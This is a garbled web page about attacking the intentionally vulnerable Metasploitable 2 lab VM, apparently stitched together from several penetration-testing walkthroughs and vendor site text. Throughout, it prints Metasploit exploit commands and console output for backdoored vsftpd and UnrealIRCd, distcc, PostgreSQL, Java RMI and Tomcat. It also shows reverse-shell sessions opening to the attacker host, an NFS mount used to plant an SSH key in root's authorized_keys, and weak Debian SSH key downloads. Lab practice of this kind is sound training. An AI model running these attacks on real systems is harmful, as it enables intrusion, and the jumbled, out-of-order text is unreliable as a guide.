metasploitable 2 list of vulnerabilities

According to the most recent available information, this backdoor was added to the vsftpd-2.3.4.tar.gz archive between June 30, 2011, and July 1, 2011. RPORT 1099 yes The target port First, whats Metasploit? Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. Exploit target: Getting started msf exploit(usermap_script) > set RPORT 445 RPORT 80 yes The target port Compatible Payloads PASSWORD no The Password for the specified username ---- --------------- -------- ----------- A list that may be useful to readers that are studying for a certification exam or, more simply, to those who just want to have fun! For this, Metasploit has an exploit available: A documented security flaw is used by this module to implement arbitrary commands on any system operating distccd. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it: On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. USERNAME no The username to authenticate as [*] Reading from sockets meterpreter > background First of all, open the Metasploit console in Kali. RHOST 192.168.127.154 yes The target address Start/Stop Stop: Open services.msc. It aids the penetration testers in choosing and configuring of exploits. root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/, root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys, Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128, root@ubuntu:~# telnet 192.168.99.131 6200, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor, msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131, msf exploit(unreal_ircd_3281_backdoor) > exploit. Meterpreter sessions will autodetect whoami msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact So, as before with MySQL, it is possible to log into this database, but we have checked for the available exploits of Metasploit and discovered one which can further the exploitation: The Postgresaccount may write to the /tmp directory onsome standard Linux installations of PostgreSQL and source the UDF Shared Libraries om there, enabling arbitrary code execution. Every CVE Record added to the list is assigned and published by a CNA. payload => cmd/unix/interact Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state. Nice article. [*] Accepted the second client connection - Cisco 677/678 Telnet Buffer Overflow . RHOSTS yes The target address range or CIDR identifier The VNC service provides remote desktop access using the password password. When hacking computer systems, it is essential to know which systems are on your network, but also know which IP or IPs you are attempting to penetrate. gcc root.c -o rootme (This will compile the C file to executable binary) Step 12: Copy the compiled binary to the msfadmin directory in NFS share. Name Current Setting Required Description [*] Accepted the second client connection S /tmp/run 5.port 1524 (Ingres database backdoor ) Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. msf > use exploit/multi/misc/java_rmi_server [*] trying to exploit instance_eval [*] instance eval failed, trying to exploit syscall From a security perspective, anything labeled Java is expected to be interesting. Id Name LHOST => 192.168.127.159 [*] A is input ---- --------------- -------- ----------- What is Nessus? root. First, from the terminal of your running Metasploitable2 VM, find its IP address.. Reference: Linux IP command examples Second, from the terminal of your Kali VM, use nmap to scan for open network services in the Metasploitable2 VM. [*] Writing to socket B Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. RPORT 3632 yes The target port [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically This will provide us with a system to attack legally. To transfer commands and data between processes, DRb uses remote method invocation (RMI). msf exploit(vsftpd_234_backdoor) > exploit VHOST no HTTP server virtual host [*] Writing to socket A The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured. [*] Reading from socket B msf exploit(distcc_exec) > set LHOST 192.168.127.159 [*] Command: echo qcHh6jsH8rZghWdi; Using default colormap which is TrueColor. The nmap command uses a few flags to conduct the initial scan. [*] Attempting to autodetect netlink pid Our first attempt failed to create a session: The following commands to update Metasploit to v6.0.22-dev were tried to see if they would resolve the issue: Unfortunately the same problem occurred after the version upgrade which may have been down to the database needing to be re-initialized. Same as login.php. A reinstall of Metasploit was next attempted: Following the reinstall the exploit was run against with the same settings: This seemed to be a partial success a Command Shell session was generated and able to be invoked via the sessions 1 command. We did an aggressive full port scan against the target. THREADS 1 yes The number of concurrent threads Both operating systems were a Virtual Machine (VM) running under VirtualBox. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0. msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 [*] Matching whoami whoami msf exploit(udev_netlink) > set SESSION 1 USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. Starting Nmap 6.46 (, msf > search vsftpd Need to report an Escalation or a Breach? LHOST => 192.168.127.159 [+] 192.168.127.154:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) Name Current Setting Required Description The list is organized in an interactive table (spreadsheet) with the most important information about each module in one row, namely: Exploit module name with a brief description of the exploit List of platforms and CVEs (if specified in the module) Find what else is out there and learn how it can be exploited. This VM could be used to perform security training, evaluate security methods, and practice standard techniques for penetration testing. So lets try out every port and see what were getting. Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. tomcat55, msf > use exploit/linux/misc/drb_remote_codeexec Now we narrow our focus and use Metasploit to exploit the ssh vulnerabilities. ---- --------------- ---- ----------- Target the IP address you found previously, and scan all ports (0-65535). Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). [*] Reading from socket B . Step 9: Display all the columns fields in the . PASSWORD => tomcat Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers. It gives you everything you need from scanners to third-party integrations that you will need throughout an entire penetration testing lifecycle. Metasploitable Networking: RHOST 192.168.127.154 yes The target address [*] Accepted the second client connection msf exploit(postgres_payload) > exploit [*] Command shell session 3 opened (192.168.127.159:4444 -> 192.168.127.154:41975) at 2021-02-06 23:31:44 +0300 Metasploitable 3 is a build-it-on-your-own-system operating system. [*] Command shell session 1 opened (192.168.127.159:57936 -> 192.168.127.154:6200) at 2021-02-06 22:42:36 +0300 Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. RHOST 192.168.127.154 yes The target address msf exploit(drb_remote_codeexec) > set URI druby://192.168.127.154:8787 Name Current Setting Required Description When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. It is also instrumental in Intrusion Detection System signature development. Application Security AppSpider Test your web applications with our on-premises Dynamic Application Security Testing (DAST) solution. For more information on Metasploitable 2, check out this handy guide written by HD Moore. Exploit target: :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. [*] Matching This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. URI => druby://192.168.127.154:8787 Additionally, open ports are enumerated nmap along with the services running. RPORT => 445 VHOST no HTTP server virtual host Payload options (java/meterpreter/reverse_tcp): BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 RHOST yes The target address [*] 192.168.127.154:5432 Postgres - Disconnected Metasploitable 3 is the updated version based on Windows Server 2008. Therefore, well stop here. Pentesting Vulnerabilities in Metasploitable (part 2), VM version = Metasploitable 2, Ubuntu 64-bit. CVE-2017-5231. The applications are installed in Metasploitable 2 in the /var/www directory. If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH. SRVHOST 0.0.0.0 yes The local host to listen on. RHOSTS yes The target address range or CIDR identifier [*] Auxiliary module execution completed, msf > use exploit/linux/postgres/postgres_payload RHOST => 192.168.127.154 RHOSTS yes The target address range or CIDR identifier now you can do some post exploitation. ---- --------------- -------- ----------- [*] Writing to socket B 0 Generic (Java Payload) Module options (exploit/multi/misc/java_rmi_server): Exploits include buffer overflow, code injection, and web application exploits. . Before running it, you need to download the pre-calculated vulnerable keys from the following links: http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 (RSA keys), http://www.exploit-db.com/sploits/debian_ssh_dsa_1024_x86.tar.bz2 (DSA keys), ruby ./5632.rb 192.168.127.154 root ~/rsa/2048/. RHOST yes The target address RHOST yes The target address Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat Telnet is a program that is used to develop a connection between two machines. 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